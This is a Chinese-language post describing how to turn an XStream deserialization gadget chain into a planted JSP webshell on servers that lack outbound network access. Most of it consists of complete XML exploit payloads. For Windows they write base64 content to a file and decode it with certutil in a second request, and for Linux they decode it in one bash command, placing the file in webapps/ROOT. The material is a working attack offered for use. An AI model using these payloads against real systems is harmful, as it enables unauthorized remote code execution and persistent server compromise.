网上的都是那种弹计算器或者反弹shell的例子,实际环境中很多不出网的机器,所小小研究了一下
首先要知道<command>
里的每个<string>
标签都表示一个参数字符,比如打开calc:
<command > <string>calc</string> </command >
加上cmd /c来转成shell命令:
<command > <string>cmd</string> <string>/c</string> <string>calc</string> </command >
利用echo来写入一个webshell
<command > <string>cmd</string> <string>/c</string> <string>echo 123 >../webapps/ROOT/12.jsp</string> </command >
webshell内容里会出现各种标签、换行和特殊符号等,所以要利用base64来发两次请求生成webshell 把内容转成base64输出到txt
<command > <string>cmd</string> <string>/c</string> <string>echo PCU9bmV3IGphdmEudXRpbC5EYXRlKCklPg== >../webapps/ROOT/12.txt</string> </command >
发送第一次请求落地文件 第二次请求利用系统自带的base64解码来解码文件内容并转成webshell文件格式 然后就可以访问webshell了
windows环境 第一次请求:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 <map> <entry> <jdk.nashorn.internal.objects.NativeString> <flags>0</flags> <value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data" > <dataHandler> <dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource " > <is class="javax.crypto.CipherInputStream" > <cipher class="javax.crypto.NullCipher" > <initialized>false </initialized> <opmode>0</opmode> <serviceIterator class="javax.imageio.spi.FilterIterator" > <iter class="javax.imageio.spi.FilterIterator" > <iter class="java.util.Collections$EmptyIterator " /> <next class="java.lang.ProcessBuilder" > <command > <string>cmd</string> <string>/c</string> <string>echo PCU9bmV3IGphdmEudXRpbC5EYXRlKCklPg== >../webapps/ROOT/12.txt</string> </command > <redirectErrorStream>false </redirectErrorStream> </next> </iter> <filter class="javax.imageio.ImageIO$ContainsFilter " > <method> <class>java.lang.ProcessBuilder</class> <name>start</name> <parameter-types/> </method> <name>foo</name> </filter> <next class="string" >foo</next> </serviceIterator> <lock/> </cipher> <input class="java.lang.ProcessBuilder$NullInputStream " /> <ibuffer></ibuffer> <done >false </done > <ostart>0</ostart> <ofinish>0</ofinish> <closed>false </closed> </is> <consumed>false </consumed> </dataSource> <transferFlavors/> </dataHandler> <dataLen>0</dataLen> </value> </jdk.nashorn.internal.objects.NativeString> <jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString" /> </entry> <entry> <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString" /> <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString" /> </entry> </map>
第二次请求
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 <map> <entry> <jdk.nashorn.internal.objects.NativeString> <flags>0</flags> <value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data" > <dataHandler> <dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource " > <is class="javax.crypto.CipherInputStream" > <cipher class="javax.crypto.NullCipher" > <initialized>false </initialized> <opmode>0</opmode> <serviceIterator class="javax.imageio.spi.FilterIterator" > <iter class="javax.imageio.spi.FilterIterator" > <iter class="java.util.Collections$EmptyIterator " /> <next class="java.lang.ProcessBuilder" > <command > <string>cmd</string> <string>/c</string> <string>certutil -decode ../webapps/ROOT/12.txt ../webapps/ROOT/12.jsp</string> </command > <redirectErrorStream>false </redirectErrorStream> </next> </iter> <filter class="javax.imageio.ImageIO$ContainsFilter " > <method> <class>java.lang.ProcessBuilder</class> <name>start</name> <parameter-types/> </method> <name>foo</name> </filter> <next class="string" >foo</next> </serviceIterator> <lock/> </cipher> <input class="java.lang.ProcessBuilder$NullInputStream " /> <ibuffer></ibuffer> <done >false </done > <ostart>0</ostart> <ofinish>0</ofinish> <closed>false </closed> </is> <consumed>false </consumed> </dataSource> <transferFlavors/> </dataHandler> <dataLen>0</dataLen> </value> </jdk.nashorn.internal.objects.NativeString> <jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString" /> </entry> <entry> <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString" /> <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString" /> </entry> </map>
不要问为什么不能在第一次请求中加个管道符一次性执行,我试了几次没成功,有空的再自己试试吧
linux环境: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 <map> <entry> <jdk.nashorn.internal.objects.NativeString> <flags>0</flags> <value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data" > <dataHandler> <dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource " > <is class="javax.crypto.CipherInputStream" > <cipher class="javax.crypto.NullCipher" > <initialized>false </initialized> <opmode>0</opmode> <serviceIterator class="javax.imageio.spi.FilterIterator" > <iter class="javax.imageio.spi.FilterIterator" > <iter class="java.util.Collections$EmptyIterator " /> <next class="java.lang.ProcessBuilder" > <command > <string>bash</string> <string>-c</string> <string>echo PCU9bmV3IGphdmEudXRpbC5EYXRlKCklPg== | base64 -d > ../webapps/ROOT/12.jsp</string> </command > <redirectErrorStream>false </redirectErrorStream> </next> </iter> <filter class="javax.imageio.ImageIO$ContainsFilter " > <method> <class>java.lang.ProcessBuilder</class> <name>start</name> <parameter-types/> </method> <name>foo</name> </filter> <next class="string" >foo</next> </serviceIterator> <lock/> </cipher> <input class="java.lang.ProcessBuilder$NullInputStream " /> <ibuffer></ibuffer> <done >false </done > <ostart>0</ostart> <ofinish>0</ofinish> <closed>false </closed> </is> <consumed>false </consumed> </dataSource> <transferFlavors/> </dataHandler> <dataLen>0</dataLen> </value> </jdk.nashorn.internal.objects.NativeString> <jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString" /> </entry> <entry> <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString" /> <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString" /> </entry> </map>